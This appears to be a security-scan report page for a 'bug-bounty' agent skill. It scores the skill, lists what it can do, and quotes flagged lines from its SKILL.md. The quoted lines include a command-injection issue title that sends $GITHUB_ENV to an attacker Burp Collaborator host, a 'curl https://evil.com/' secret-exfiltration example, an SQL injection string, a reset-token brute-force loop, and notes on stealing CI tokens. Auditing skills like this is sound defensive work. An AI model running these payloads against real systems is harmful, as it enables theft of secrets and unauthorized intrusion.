← All skills
bug-bounty
64 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By adriannoes/awesome-agentic-ai (GitHub) · coding · 99 stars · scanned at commit e797ed5
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security tes…
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 13 places.
Show 10 more
- cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 195
| cloudenum | Cloud asset enumeration | `pip3 install cloud_enum` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 196
| trufflehog | Secret scanning | `brew install trufflehog` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 197
| gitleaks | Secret scanning | `brew install gitleaks` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 198
| XSStrike | Advanced XSS scanner | `pip3 install xsstrike` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 199
| SecretFinder | JS secret extraction | `pip3 install secretfinder` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 200
| sqlmap | SQL injection | `pip3 install sqlmap` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 201
| subzy | Subdomain takeover | `go install github.com/LukaSikic/subzy@latest` | - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 791
> **Tooling**: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1064
4. **Privileged consumption** — The cache is restored in a `push` or `schedule` workflow on the default branch. These workflows have full `secrets` access. The - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1077
4. **Lateral movement** — RoR persistence → wait for privileged `push`/`schedule` workflows → steal tokens from `.git/config`, `$GITHUB_ENV`, `/proc/PID/environ
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 25 places.
Show 17 more
- cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 295
for suffix in dev staging test backup api data assets static cdn; do - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 304
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 309
curl -s "https://hackerone.com/graphql" \ - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 349
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE" - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 368
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 370
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 403
curl -s "https://hackerone.com/graphql" \ - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 484
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize" - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 622
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \ - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 681
' OR '1'='1 - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 800
find . -name "*.yml" -path "*/.github/workflows/*" | head -50 - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 979
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test" - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1165
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1193
POST /forgot-password - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1207
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50 - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1215
PUT /api/user/email - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1231
aws s3 ls s3://target-bucket-name --no-sign-request
and 5 more places
Sends data to these websites: ${target}-${suffix}.s3.amazonaws.com, hackerone.com, target, evil.com, attacker.burpcollaborator.net, $name.s3.amazonaws.com, target-app.firebaseio.com, raw.githubusercontent.com
This is disclosed by the author in the skill's SKILL.md or README.
Found in 13 places.
Show 10 more
- cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 403
curl -s "https://hackerone.com/graphql" \ - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 622
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \ - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 927
- [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 979
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test" - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1235
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1255
curl -s "https://TARGET-APP.firebaseio.com/.json" - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1257
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1271
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1273
curl -s http://TARGET:2375/containers/json - cursor-claude-codex/skills/bug-hunter/skills/bug-bounty/SKILL.md, line 1543
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 1 place.
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'bug-bounty' ] || [ -L ~/.agents/skills/'bug-bounty' ]; then echo 'A skill folder named bug-bounty already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/adriannoes/awesome-agentic-ai' "$d" && git -C "$d" checkout --quiet 'e797ed58cfe6dd6453fe7632f89d7226d203f6f6' -- 'cursor-claude-codex/skills/bug-hunter/skills/bug-bounty' && mkdir -p ~/.agents/skills && cp -R "$d"/'cursor-claude-codex/skills/bug-hunter/skills/bug-bounty' ~/.agents/skills/'bug-bounty' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'bug-bounty' ~/.claude/skills/'bug-bounty' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for adriannoes/awesome-agentic-ai shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/adriannoes/awesome-agentic-ai/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | e797ed5 | 64 |